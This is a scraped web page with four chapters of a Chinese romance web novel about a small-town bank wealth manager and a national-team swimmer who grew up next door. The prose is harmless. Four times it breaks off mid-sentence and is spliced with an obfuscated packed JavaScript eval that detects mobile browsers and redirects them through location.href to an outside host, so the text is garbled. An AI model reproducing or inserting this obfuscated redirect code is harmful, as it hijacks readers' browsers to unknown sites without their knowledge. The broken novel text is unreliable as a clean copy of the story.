《不以结婚目的的恋爱》 3. 第 3 章 体制内、研究生、本地人，她妈没有提到房车，以林佳怡在相亲市场多年经验判断，大概率是没有的， 没有的话，就意味着，他可能想买，他有需求！ 这不妥妥的送上门来的白名单客户吗！ 林佳怡迅速给她妈发了一条微信： 【林佳怡6733：收到，晚上一定准时到。】 得到了她妈妈的一个大拇指。 和她妈发完消息，她就准备给分管她的行长助理发消息，说她晚上要去跑一个白名单客户，晚上的考试请假。 还没等她组织好请假的话术，她在隔壁支行的好朋友就先给她发来了消息。 【陈夏6732：好消息好消息！晚上的考试取消了！】 【林佳怡6733：？】 【陈夏6732：好像是城西支行的人去反应的，就昨天我们说的，他们五点关门的时候，大堂里面密密麻麻站满了人，一直加班做到晚上七点半，才把这些业务都办完。】 【林佳怡6733：干到这么晚，库包车怎么办？】 【陈夏6732：一起加班咯。】 林佳怡还是想象不出来，拉了大门还要做两个小时，那他们关门的时候，大堂里得有多少人啊。 【林佳怡6733：我每次都有一种我们银行的客户，可能没有被移动支付普及到的感觉。】 【陈夏6732：哈哈哈哈哈哈】 【陈夏6732：但你可别说，城里人就是聪明。城西支行的人和我说，他们的客户就是发现了这个，‘只要关门的时间，还在大堂里的人，一定会办到业务’的bug，所以他们支行白天人其实并不多，都集中在关门前来。】 【林佳怡6733：……他们不吃晚饭吗？】 【陈夏6732：诶，你可别说，林经理，您这就是总行领导的思维。】 林佳怡被陈夏的肃然起敬搞得莫名其妙。 【林佳怡6733：？】 【陈夏6732：总行领导们听说这事以后，快七点的时候，主动给所有在厅堂里的客户买了面包。】 【林佳怡6733：……明天整个龙江市都知道龙江银行发面包了！】 【陈夏6732：是的，所以今天晚上的考试取消了，可能准备让城西支行的人晚上干到十二点吧。】 【林佳怡6733：……】 林佳怡实在不知道说什么，她只能期待他们绿篱镇离市区远，消息穿得慢吧。 唯一的好消息，就是今天晚上不用考试了。 想着晚上能收获一个白名单客户，回到办公室，看着内网通讯软件上，个金部老师提出的一大堆信贷风险提示，林佳怡都没有觉得心情烦躁了。 提就提吧，风险提示就风险提示吧。她只能先对不起豆腐客户了，今天她就不和个金部老师battle了，要是晚上没能把白名单客户拿下，她明天再来努力。 于是，她坐在自己的办公位上，喝下了今天的第一口水。 这班上的，满满都是过年的氛围。 那位吴叔叔这么一闹，也不是完全没有好处，至少把她们周行长从大堂吓跑了。 她把吴叔叔送出支行大门的时候，特意问了一下保安师傅，保安师傅告诉她周行长和徐经理上楼以后，再没下来过。 她长舒一口气，终于可以歇下来，好好地摸一会儿鱼了。这鱼摸得她心安理得，毕竟她满负荷地工作了大半天，毕竟她晚上还要去加班呢。 于是，她打开她的种菜小游戏，开始在自己的地上种起菜来。 来得早不如来得巧，正好她的玫瑰花成熟了，还差三秒就能收获了，她数着倒计时，准备来一波大丰收。 时间一到，她就迅速地点了“一键收获”，但比她更快的是，小游戏的系统提示： “用户0896偷取了您的红玫瑰。” “用户0896偷取了您的黄玫瑰。” “用户0896偷取了您的蓝玫瑰。” 林佳怡：？？？怎么会有人蹲点受着偷她的花啊。 她还没来得及和人理论，手机就弹出了一个通话提醒。 又是周行长。 这次周行长又惹什么事了呢？！ “喂，周行长？”林佳怡接起电话，声音里完全听不出她内心的吐槽。 周行长在电话里说道：“你来下我的办公室，有个客户给你介绍一下。” “好嘞！马上来。”这一次，林佳怡声音里的喜悦是发自内心的。 果然，刚刚临危受命，救周行长于水火之中不是白救的。 虽然还不知道是个什么客户，但万一是能帮她完成贷款任务的客户呢？退一万步说，就算不是贷款客户，是个存款客户、理财客户也都好啊，尽管她作为一个从小在绿篱镇长大的人，又在大堂里干了这么多年，并不缺存款、理财客户。 林佳怡在经过卫生间门口的大镜子时，还特意整理了一下自己的头花和领结，以表示对周行长办公室的这位素未蒙面的客户最大的敬意。 周行长办公室的门敞开着，她敲了敲门板，就走了进去。 一进门，她就被坐在沙发上的男人吸引了全部的目光。 那人穿着黑色卫衣和灰色运动裤，坐在单人沙发上，肩宽头小，五官立体、眼神深邃。 林佳怡对他只有一个评价：好一张帅脸。 林佳怡忍不住感慨，他们周行长果然是总行下派的人，城里人认识的客户都长得好看。 周行长见林佳怡进来了，就给她介绍道：“小林，我给你介绍一下，这位是我朋友，裴墨。” 裴墨从沙发上站了起来，林佳怡这才察觉，这人不仅脸好看，个子也很高。 林佳怡自己身高一米六五，在人群中也不算矮，但面前的这个人，她好像连他的肩膀都没有够到。 林佳怡现在有了对他的第二个评价：像一堵墙。 周行长继续给裴墨介绍道：“小裴，这位就是我们小林经理，林佳怡，她连着好几年都是我们行里的业务比赛的冠军，业务水平很好的。” 林佳怡听周行长介绍完她，就伸出手：“裴先生，您好。” 林佳怡总觉得“裴墨”这个名字有点耳熟，好像哪里听过，但一时半会儿又想不出来。 裴墨也很配合的伸出手：“林经理。” 林佳怡在龙江支行这么多年，有一阵子她们银行不知道哪里请来了礼仪老师，给全行员工做礼仪培养。 林佳怡认真听了几节课，她知道，这种握手的时候，她应该面带微笑，看对方的三角区，和对方有眼神交流。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532750|170840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她刚刚低着头的时候，不小心瞥到了另外的“三角区”，对方还穿着灰色运动裤。 让她忍不住频频关注。 她一边觉得自己的眼光有点猥琐，一边又觉得是对方衣服穿得不好，才让她没法移开视线。 幸好，几秒钟后，裴墨就放开了她的手，周行长重新招呼他们坐下，林佳怡也顺理成章地坐在周行长身边空着的沙发上。 周行长介绍道：“小裴马上会有笔大金额的资金到账，到时候小林你帮他做一下方案，看看怎么理财最好。” 林佳怡点头：“好的。” 周行长继续说道：“小林，我把小裴的微信推给你，到时候你们自己沟通。” 林佳怡继续点头：“好的，我加一下裴先生。” 周行长又问裴墨：“小裴，你的资金大概什么时候到账？” 裴墨倒是也没有避讳，直接说道：“正常的话，我打完退役报告，队里走完流程，等正式退役文件出来以后，一个月吧。” 退役？ 林佳怡心想，这人的身材确实也挺像当兵的，就是当兵这么高的话，会不会有点突兀？ 不过，说到身材，她的眼光又忍不住撇像了不该看的地方。 坐下来以后，似乎更明显了…… 林佳怡在网上冲浪的时候，看到过有人对长得很高的男生的评价，是“顶端优势抑制侧芽生长”，但裴墨显然是没有这个困扰的。 这个想法一冒出来，刚刚她还能找借口，是裴墨“穿着不得体”才让她的视线无处安放，但现在，她怀疑是不是她自己有问题了。 她在银行上了这么多年班，她差点以为自己对男的都没有想法了。 这么多年，她身边的同学同事，一个个都谈恋爱结婚生小孩，但她丝毫没有这些想法。 最早，她和陈夏刚进行的时候，有她们同一届的男生追她，被她飞快地拒绝，她当时只有一个想法： 他们如果在一起，还结婚了，那以后的任务岂不是都是double。 任务double了，他们手里的资源可不会double啊，一个家庭只能供养一个在银行上班的人。 再后来，就是她的初高中同学们。 有一个学生时期和她并不太熟悉的同学，在一次同学聚会后，就加了她的微信，和她聊了起来。 林佳怡从他一开始来找她聊天的时候，就大概猜出了他的意图。 他会每天不咸不淡地和她聊两句，聊得话题林佳怡也并不感兴趣，但对方并没有直接表达他的意图，林佳怡也不能直接拒绝，又都是同学，直接已读不回好像也不太好。 就这么不咸不淡地撩了两个礼拜以后，林佳怡忽然意识到，这人虽然目的性强，但他是个老师啊，也是白名单客户啊！ 林佳怡像是瞬间打通了任督二脉，她决定在他又一次约她出门看电影的时候，答应他，然后向他推销她们银行的信用卡信用贷个人养老金一条龙。 果然，那次看完电影以后，他再没有联系过她，但那天扫码办的信用卡，确确实实算做了林佳怡任务。 自那以后，有人给她介绍对象，她都会很积极地去，遇上脸皮薄不好意思拒绝的人，就会成为她的客户，但只会是她的客户了，遇上直接拒绝她的，那更是直接解决了一个相亲对象。 4. 第 4 章 周行长和裴墨在聊什么，林佳怡完全没有在意，只听到了什么“退役”、“到年纪了”之类的话。 林佳怡顶着职业微笑，满脑子都是“差点就要以为她被这个班折磨得没有世俗的欲望了”。 还好还好，她看到帅哥也是会有一些上不了台面的想法的。 就在她胡思乱想的时候，周行长又提到她了：“小林，你也是绿篱镇上的人吧？” 林佳怡回过神，赶紧接上：“对，我家就在镇上。” 这也是林佳怡安心在绿篱支行的原因，她从进行开始就一直在绿篱支行，每次都卡着轮岗时间换岗，也就一路在绿篱支行干到现在。 绿篱镇是龙江市的下属乡镇，距离龙江市市区不远也不近，乡镇企业不少，其中林瑞集团更是做到了上市，成为绿篱镇的一块金子招牌，围绕着林瑞集团衍生出了不少产业。 除了企业之外，绿篱镇近几年也赶上了“网红”旅游的热潮，老街上的一些小吃在网红的推广下，突然开始爆火。 家住老街的林佳怡有一种一觉醒来，自己突然就住在了景区里的感觉，家门口每天都人来车往的。 她们家在老街的最东边，他们支行在老街的最西边，她每天开电瓶车在老街两头穿梭，要不是她上班早，通勤时间怕是都要增加不少。 说实话，他们镇上春天吃青团子、夏天吃酒酿、秋天吃酒酿饼、冬天就是各种类型的糕，更不要说一年四季常有的小馄饨、红油面，她上大学那会儿，每次回家都得大吃特吃，吃完还要带回学校。 最出名的一家红油面店，炸的大排那叫一个好吃，外酥里内，刚端上来的时候，金灿灿的，一口下去更是香得人迷糊。 林佳怡又觉得大家确实很有眼光，她们镇确实超级好吃，但面对每天都爆满的面馆和小馄饨馆，还有排队半个小时才能买上的青团，林佳怡作为本地人都很难吃上。 这时候她又很气，只能上门给各个老板推销“支付码”，至少店里的流水进了她们银行，落在了她的工号下。 “小裴你也是吧。”周行长问完林佳怡，又问裴墨。 裴墨点了点头，随后看着林佳怡，说道：“嗯，我家在老街的东边。” 东边？ 林佳怡听了这话，视线才从不该看的地方上移到了裴墨的脸上，这才发现裴墨也正看着她，于是，他们就这么对视上了。 林佳怡能感觉到自己脸颊有些发烫。 等等。 他刚刚说，他们就也在老街的东边。 要是她没有记错，她们的邻居就是姓裴啊，总该不会……？ 林佳怡瞬间没有了那些旖旎的心思，她有些不敢置信：“你该不是裴叔叔的儿子吧？” 只见裴墨朝林佳怡再次点了点头：“嗯。” 林佳怡瞬间换上了一副长辈的嘴脸，眯着眼笑道：“原来是小裴啊，我小时候经常抱你的，你还记得吧？” 裴叔叔一家很早就搬离了老街，在搬离老街之前，裴叔叔工作忙，经常会把裴墨送到她们家，让带着一起看一看。小裴墨当时小小的一个，林佳怡的爸妈去上班了，就把他们两个和林佳怡奶奶一起放在家里。 小时候的林佳怡胆子小小的，却在她奶奶的吩咐下，知道要带好裴墨。她妈到现在还在说，林佳怡小时候带小孩带得那么好，怎么现在到这个年纪婚都不想结。 林佳怡在说这话的时候，裴墨正好拿起茶几上的水杯，准备喝一口刚凉下来的白开水，差点一口水喷出来。 他伸手抽了一张茶几上的纸巾，然后对林佳怡说道：“姐姐，我没记错的话，我好像只比你小三个月吧？” 林佳怡愣了愣，只小三个月的吗？她印象中的裴墨，虽然腿长手长，但整体还是小小瘦瘦的，裴叔叔送他到她们家，林佳怡第一次有了一种当“姐姐”的使命感。 “你哪一年的？” 裴墨掏出身份证，递给她：“你自己看。” 在银行工作了五年的林佳怡，十分顺理成章地拿过了裴墨的身份证，确实只比她小三个月。 “没想到，你们竟然认识，那真是‘阿巧她妈给阿巧开门，巧到家了’啊。”周行长见他们认识也很高兴，“小林，正好，你帮小裴办张卡吧。” 林佳怡的手里还握着裴墨的身份证，虽然原本的摸鱼时刻没有了，但她确实也不能拒绝。 裴墨再次站起来的时候，林佳怡再一次感受到了压迫感。 看着快撞到门框的裴墨，林佳怡在心里默默估算，这人得有一米九吧？ 但自从想起了他是隔壁裴叔叔家的裴墨之后，林佳怡刚刚那些世俗的想法统统都被她抛到了脑后。 她一边有点唾弃自己，工作时间，怎么能脑子里都是些这种玩意儿，一边又觉得可惜，好好的帅哥，怎么会是小时候的熟人呢。 和裴墨一起走出周行长办公室，林佳怡走在前面，裴墨走在后面，阳光透过走廊尽头的窗户照耀进来，但被身后的裴墨挡得干干净净。 林佳怡觉得于情于理、于公于私，此刻的她都应该说些什么，尽管她并不喜欢，于是，她开口尬聊： “你有你一米八吗？” 问出来的时候，林佳怡都觉得有点无语，她在说什么！一米八他当然有。 只听裴墨轻笑一声：“我一米九三。” 林佳怡：“……那你真的挺高的。” 裴墨也没有继续开口的意思，林佳怡第一次觉得她的办公室和周行长的办公室距离那么远。 气氛又有些尴尬，林佳怡只能硬着头皮又开口说道，“我记得你小时候，不高的呀？” 裴墨：“嗯，进了幼儿园长的。” 林佳怡：“哦。” 这天真的挺难聊的。 林佳怡看着还有个三四米才能到的办公室，又问道：“你这样在部队里，不会有点太高了吗？” “嗯？”裴墨以为自己听错了，他复述了一遍，“部队？” 林佳怡也愣了愣：“对啊，你不是退役吗？”难道是她刚刚听错了？ 裴墨解释了一下：“我是个运动员。” 林佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532751|170840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怡回过头，再一次上下打量了一下裴墨，这才有一种恍然大悟的感觉，运动员退役确实也是退役。 他这身材确实更像运动员一点。 林佳怡对运动员没有什么概念，只知道去年夏天的时候，陈夏天天熬夜看奥运会，乒乓球羽毛球田径看得起劲，于是她问道：“你是什么项目的？” 裴墨：“游泳。” 林佳怡去年夏天跟着陈夏，也看过一些“泳队男模”的视频，她觉得刚刚转好的思想又要开始变歪了，她不自觉地打量起裴墨的腹部。 偷瞄了几眼，她都觉得自己的脸颊都有些控制不住的红了，她赶紧转移话题：“我的办公室就在前面，你在沙发上坐一下，我下去拿开卡机。” 裴墨“嗯”了一声，顺着林佳怡的手势走进了她的办公室。 她和分管零售业务的副行长在一个办公室，零售副行长今天去总行开会了，办公室里今天只有她一个人。 再次走下楼梯的时候，林佳怡飞快地给陈夏发消息，告诉她，她们周行长带来了一个练游泳的弟弟。 【陈夏6732：！！！！！！！】 陈夏飞快地发来一串感叹号。 【陈夏6732：照片呢！！视频呢！！】 【林佳怡6733：我记得你不追泳队的？】 【陈夏6732：我确实不追，但是我追帅哥啊。】 【林佳怡6733：那你来，他现在在我办公室。】 【陈夏6732：……我要能来啊。】 陈夏虽然不能来，但她心思活跃，想办法也很快。 【陈夏6732：你去调监控啊，监控肯定会拍到他进来的画面吧。】 【林佳怡6733：……】 林佳怡第一次知道监控还有这种妙用。 【陈夏6732：他进国家队了吗？没进的话，是哪个省队的？省队的运动员我也认识不少。】 陈夏说完，又补了一句。 【陈夏6732：当然是单方面认识啊。】 【林佳怡6733：我没问，我哪知道还分国家队省队。】 【陈夏6732：你没直接问人家有没有去奥运会吧？】 【林佳怡6733：没有，我根本没想到这一层。】 【陈夏6732：那就行，万一他只是省队没游进国家队的话，这样问也太伤人了。】 【林佳怡6733：一会儿我给他开卡的时候，我问问他哪个省的。】 林佳怡问完这话，又觉得哪里不对，裴墨也是绿篱镇人，理所当然应该是她们省队的吧。 【林佳怡6733：不应该就是我们省的吗？】 【陈夏6732：不一定，要看他当时是被哪个省队挖掘、训练的。】 林佳怡有一种被科普到的感觉，一会儿开卡的时候，可以问问裴墨，防止再像刚刚那样无话可聊。 她进到楼下柜台里，刚问内勤行长借开卡机，就听到隔壁柜台的柜员许斯斯在问她：“我刚刚瞄到了一个帅哥上了二楼。” 5.第 5 章 客观评价裴墨的话，他确实是一个“帅哥”，又已知他是游泳运动员，林佳怡默默地给他打上了“身材很好的帅哥”的标签。 这要换了别人，她可能已经“斯哈”上了，可惜的是，是个熟人。 还是个小时候的熟人。 “对，是周行长的客户。”林佳怡回答许斯斯的问题，“要开卡，我来问徐行长借台开卡机。” 林佳怡想了想，裴墨一米九三的个子，在大堂里确实很醒目，也就是她刚刚一直在vip室里，不然肯定也早看到了。 怕是柜台上的老师们已经讨论过一轮了。 见许斯斯没再说什么，林佳怡就准备继续往里走，问内勤行长徐行长开口借开卡机，还没等她走到徐行长的柜台边，就听到徐行长先说话了：“小许啊，你也太厉害了，柜台上这么忙，你还有空观察外面的人。” 林佳怡听到这话，就觉不妙。 内勤行长徐知灵年近四十，林佳怡刚进行的那年，他就已经是绿篱支行的内勤行长了，中间还去其他支行轮了几年，去年又回来了。 而许斯斯是前年刚进来的新人，从进来第一天起，她就和徐行长不太对付。 最初，是因为许斯斯带了可以回微信的智能手表，被徐行长看到之后，徐行长把她批评了一顿，还让她以后上班不要带，说智能手表应该和手机一样管理。 没想到新进的许斯斯也不是好惹的，她直接让徐行长拿出条文，哪一条行规说上班不能带手表。 他们吵起来的时候，林佳怡还是大堂经理，当时正是大夏天的中午，大堂内几乎没有客户，林佳怡刚准备去她的小房间里休息一会儿，就听到柜台里吵起来。 许斯斯觉得徐行长管太多，总行都没有明文规定的事情，他为什么要自加砝码。她本科是学法律的，她甚至还退一步，问徐行长如果没有条文，有判例也行，有人因为带智能手表被明察暗访到了吗？ 气得徐行长当场给纪检部门打电话，问他们到底能不能带智能手表。 林佳怡看热闹的时候，一边觉得现在的新人真的厉害，敢于直面和领导硬刚，这种心态让她十分羡慕，一边又觉得许斯斯说得真好，她们几个柜员有个私下的小群，群里的大家都觉得徐行长管太多，喜欢抓一些不太重要的小事。 抓这些不太重要的小事顶多平时恶心一下柜员们，但他更严重的问题，是他不敢和楼上斗争。 她们几个在小群里讨论过，徐行长当他们支行内勤行长的时候，每年年前二次分配的时候，在一些有争议的奖金分配上，她们楼下都会吃亏，因为徐行长从来不会主动和支行行长争取她们柜员的权益。 说起来，这也是林佳怡和许斯斯熟悉起来的契机，她还记得许斯斯当时和她吐槽：她们支行一共就不到20个人，充满了大大小小的行长，正行长副行长行长助理加起来得有四五个，马上要比柜员都多了。 许斯斯和徐行长第一次关于智能手表的交锋，她们小群一致认为，是许斯斯胜利的，甚至为了声援许斯斯，她们小群里的所有人，都买了一块智能手表。 林佳怡到现在都记得第二天早上，徐行长看到他们一人带一个智能手表时候的表情。 可能比吃了屎还难受吧。 法不责众，但从此徐行长便开始处处挑许斯斯的错。 今天这句话里阴阳怪气的气息都快溢出来了。 但许斯斯丝毫不惯着他，回怼道：“那当然啦，我们做柜员当然要会察言观色、观察环境啊。要是只闷头干业务，回头又要被总行说不懂‘全员营销’了。” 怼的徐行长话都说不出来。 林佳怡是一个好人，这么忙的时候，她觉得应该在许斯斯和徐行长之间灭灭火，于是她开口说道：“徐行长，那台开卡机先借我一下？我去给帅哥开个卡，也不好让周行长的客户在楼上多等啊。” 徐行长看了眼她，又看了眼在柜台上办业务的许斯斯，对林佳怡说了句“好的”，就转身往保险柜的方向走了。 眼看徐行长走进了小房间，许斯斯转过头朝着林佳怡瞥了瞥嘴，说了句“小男人”。 说完，许斯斯又恢复了标准笑容，开了麦，转过头微笑着对玻璃外面的客户说道：“您好，请问您还要办理什么业务吗？” 林佳怡差点被逗笑。她觉得这三个字形容徐行长，真的太适合不过了。 许斯斯隔壁柜台的叶师傅刚好叫完了一个号，他也转过身，对林佳怡说道：“小林啊，他们吵不起来的，最近徐行长可消停了。” 林佳怡没理解：“嗯？” 叶师傅示意林佳怡看外面铺满人的大堂，他见林佳怡似乎还没理解，提示她道：“最近什么日子？” 林佳怡试着回答道：“过年……？” 叶师傅又问：“过年前的大事是什么？” 林佳怡瞬间明白过来了：“二次分配！” “对呀。” 林佳怡也就是这两天被周行长使唤来使唤去，喊得她脑瓜子疼，差点把她干活的初心都忘记了！ 年前要发奖金啊！她们银行去年一整年，除了开门红和半年度的时候发过奖金，其余时候她都考基本工资和基本考核度日，她之前可盼这笔奖金很久了。 但她看着从小房间里走出来的徐行长，默默地在心底叹一口气，今天又是徐行长啊……又是会为了讨好行长主动放弃她们楼下内勤利益的徐行长…… 她立马想明白了，徐行长也就是看许斯斯实在不爽，才会在这里阴阳怪气几句，要是其他人，他肯定都忍了。毕竟马上要分配奖金了，毕竟他又要算出来一个让楼下人神共愤的金额。 等等。 林佳怡忽然想到，她现在可不是楼下的人了，她作为理财经理，她上楼了！ 她有些得意地对许斯斯和叶师傅说道：“我今年和你们不一样了，等我拿到徐行长送给我的奖金，我请你们吃饭。” 叶师傅反应也很快，他迅速回答道：“今年发的可是去年的奖金。” 今年年初刚上任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538909|170840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理财经理的林佳怡：…… 她看着拿着开卡机向她走来的徐行长，心里默默地愤恨。 “本子上登记一下啊。”徐行长把开卡机和一本登记簿一起拿给林佳怡。 林佳怡接过后，填完登记簿，就听到徐行长提醒她道：“小林，你这两天在大堂里，开卡的流程你还记得的啊，虽然是周行长的客户，但是该问的也要问清楚。” “好的，徐行长。”林佳怡觉得有点烦，但徐行长的提醒又确实没有错。 拿着开卡机重新上楼的林佳怡走在楼梯上，忽然意识到，她一开始不是说要摸鱼的吗？ 怎么又被周行长使唤了呢？！ 走进办公室的那一刻，她甚至还思考了一下，这张卡，应该开在她名下，还是开在周行长名下。 理论上，这是周行长的客户，但他都是个行长，应该不在意这些……？ 还没等她得出来结论，她先收到了周行长的微信。 【周敬：小林，我的工号是3587。】 小林还有什么不懂的呢。 【林佳怡6733：好的。】 林佳怡记得刚刚陈夏的问题，于是，在她把开卡机开机后，再次起了聊天的话题： “你是哪个省队的？” 裴墨似乎也没想到林佳怡突然问他这个问题，他愣了愣，回答道：“就，我们省。” 林佳怡点了点头，然后发现她并不是陈夏，没办法继续下去。 她突然想到，她自己是旱鸭子不说，她甚至分不清蛙泳蝶泳自由泳。 就在这个话题就要被终结的时候，徐行长的话再次回响在了她的耳边：周行长的客户也要问清开卡用途。 这个想法一冒出来，让她如释重负，这个话题，她熟悉，她会。 于是，她再次开口：“接下来，我们有一点必须要走的流程，我要问几个问题。” 裴墨也很配合：“好。” 林佳怡：“您开卡的目的是什么？” 裴墨：“呃……存钱？” 回到了林佳怡的舒适区域，问完基本情况后，她开始给裴墨介绍她们行的理财产品了，介绍其这些，她更是得心应手滔滔不绝。 裴墨坐在林佳怡的身旁，他能感受到一开始林佳怡想要找话题的努力，他也很想帮她，或者说让他们两个可以交流起来。 但他做不到，他只能简单地回答林佳怡的问题，然后杀死对话。 还好，林佳怡似乎找到了她的舒适领域，只可惜，裴墨只听到林佳怡“叽里呱啦”说了一大堆，什么“收益率百分之3”，什么“组合”，他一句都听不进去，只知道林佳怡让他扫脸，他就扫脸，让他输密码他就输密码。 等林佳怡介绍了一大堆以后，银行卡也从开卡机里出来了，裴墨再次开口道：“其实我的退役费也不一定最近会到账。” 林佳怡：“啊？” 但她脑子转的很快，这张卡反正开在周行长名下，什么时候到账，和她关系也不大。 6.第 6 章 裴墨继续说道：“我也不一定退役。” 这句话也不知道是说给谁听的。 林佳怡好奇地问了一句：“为什么？” 退役难道是自己可以选的吗？ 裴墨抬起头，正好和林佳怡对视上，看着林佳怡的眼睛，裴墨莫名地就说出了藏在他心底很久的话：“因为我还能游。” 或许是因为林佳怡看起来真的一点都不懂竞技体育，更不明白这其中的弯弯绕绕，又或许是因为林佳怡是小时候一直带着他一起玩的邻居姐姐，裴墨不由地就说出了这句话，这句他一直想说，但他对着教练、对着队领导，可能并不应该说的话。 就像裴墨猜测的那样，林佳怡对竞技体育的了解，仅限于知道奥运会四年一次，奥运会也最多手机上刷到开幕式的视频会点进去看一看也没有奇葩节目。因此她并不理解，为什么裴墨说他还能游却还要退役。 她也看向裴墨的眼眸，问出了心中的疑问：“还能游，为什么不继续游呢？” 听到林佳怡这句话，裴墨再次沉默了，他移开视线，落在桌面上刚开的银行卡上。 林佳怡见裴墨沉默了，心中一凛，她还记得陈夏和她说的，不要随便问裴墨有没有进国家队，万一戳到对方伤心事就不好了。 该不会，她这句话也戳到了他的伤心处吧？ 还能游，但不继续游。 这话能把裴墨说到沉默。林佳怡不懂游泳，但林佳怡懂生活啊，这话多正常，多合逻辑啊，肯定有一些场外因素，影响了裴墨，才让他不能继续游的。 就像她现在坐在这里给人开卡、给人做贷款、给人做理财，难道是因为她想“用心服务客户”？因为她想“让需要资金的客户获得帮助”？还是因为她想“让有闲钱的客户收获更多的收益”吗？ 总不能是她天生热爱营销，喜欢看到买到合适收益的客户脸上露出的笑容？ 还不是因为生活所迫，还不是因为这份工作，苦是苦了点，但看在工资奖金的份上，还能忍吗！ 很多个加班加到七八点的晚上，林佳怡开着电瓶车沿着上塘街开回家的时候，晚风吹拂在她的脸颊上，她一边觉得这样在老家按部就班、收入不错还不用担心被裁员的生活，偶尔下班，和朋友出去吃点好吃的，聊点八卦，好像很安逸很稳定。 但另一边，她又觉得心底会有一股力量，在告诉她，她不想过这种生活，过这种每天做着重复工作、反复同样的日常，让她觉得辛辛苦苦读了这么多年书，并不是为了过上这样一眼望到头的生活。 她很害怕，怕自己就被困在这个她出生的小镇上，虽然这个小镇上，有她喜欢吃的、喜欢逛的，有她的亲人、朋友，还有她刺激又稳定的工作。 林佳怡忍不住想，这可能就是她迟迟不愿意相亲结婚的原因吧。要是结了婚、生了孩子，她大概就真的被困在这个工作上了。 而裴墨此刻的沉默，就能说明，他自己是想要继续游的。 “最主要的原因，是我已经27岁了。”等了许久，裴墨终于再次开口，声音中还带些沉重，果然，就像林佳怡推测的那样，并不是裴墨主动想要退役。 裴墨还打算继续说他要退役的客观原因，林佳怡先打断了他：“你不是比我还小3个月，怎么就27了？我才26！” 裴墨听了林佳怡这话，刚刚上来的一点悲伤情绪立马被压了下来，他看了看林佳怡，欲言又止，最后，他轻笑一声：“小林姐，你还挺幽默的。” 林佳怡：“这怎么就幽默了，这事实！现在才一月份，生日都没过呢，别说生日，年都没过呢，怎么就27了！” 裴墨：“好好好，26。” 林佳怡满意地点了点头：“你继续，你已经26岁了，然后呢？” 这次再开口的裴墨，声音中都带着笑意，刚刚略有沉重的气氛全然消散了：“然后去年我的教练帮我技改，成绩没有达到想要的效果，再加上有几个小朋友也游出了成绩，小朋友的潜力肯定比我大。” 林佳怡听得似懂非懂，她不知道什么是技改，也不知道为什么技改会失败，但她听懂了，裴墨要给小朋友腾位置，可是—— “小朋友们是已经能游过你了吗？” 裴墨摇了摇头：“现在还没有。”只是因为小朋友们年轻，未来的潜力肯定比他的潜力大，所以他退役给小朋友们机会，是一个最符合常理、也最好的选择。 “所以你现在退役，就是为了给小朋友们腾位置！”林佳怡再一次认可了自己的判断，然后发出了她作为门外汉的疑问，“小朋友如果有潜力的话，不应该先超过你，再从你手里接过接力棒吗？” 裴墨再次被她问住了，这确实是正常的队内传承，但那天队里的领导找他谈话的时候，话里话外，都是省里资源紧缺，让他为了对内的梯队建设，要做出一点牺牲。 裴墨不知道应该怎么和林佳怡说所谓的“梯队建设”，但还好，这次林佳怡自己接上了：“还是，你自己想在巅峰期退役？” 这个问题裴墨会回答：“我希望这还不是我的巅峰期。” “诶？”林佳怡没想到裴墨是这个回答，“所以你觉得以后27岁、28岁的你会突破现在成绩吗？” “但如果退役了，就再也不会突破了。” “对。”林佳怡能感受到裴墨想要继续游泳、继续比赛的心情，但她也明白，就她们银行这种支行间的竞赛活动，支行行长们都要卷生卷死，省队运动员中间的弯弯绕绕肯定就更多了。 “那你……进国家队了吗？”林佳怡不知道这个问题会不会有点冒昧，但他们聊到了这个话题，她总得知道裴墨的成绩吧。 还好，裴墨点了点头，肯定了这个答案。陈夏害怕的“戳心窝”场面没有发生。 “嗯，进了。不过我没有拿过国际大赛的奖牌。”裴墨说起来还有点遗憾。 就算不按陈夏给她的判断，林佳怡也知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545272|170840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，作为一个运动员，能进国家队，不论国际赛成绩如何，在国内肯定是一流水平的运动员了。 “裴墨，那你很厉害啊，你小时候那么小小的一只，长大能长这么高就算了，竟然还能进国家队。” 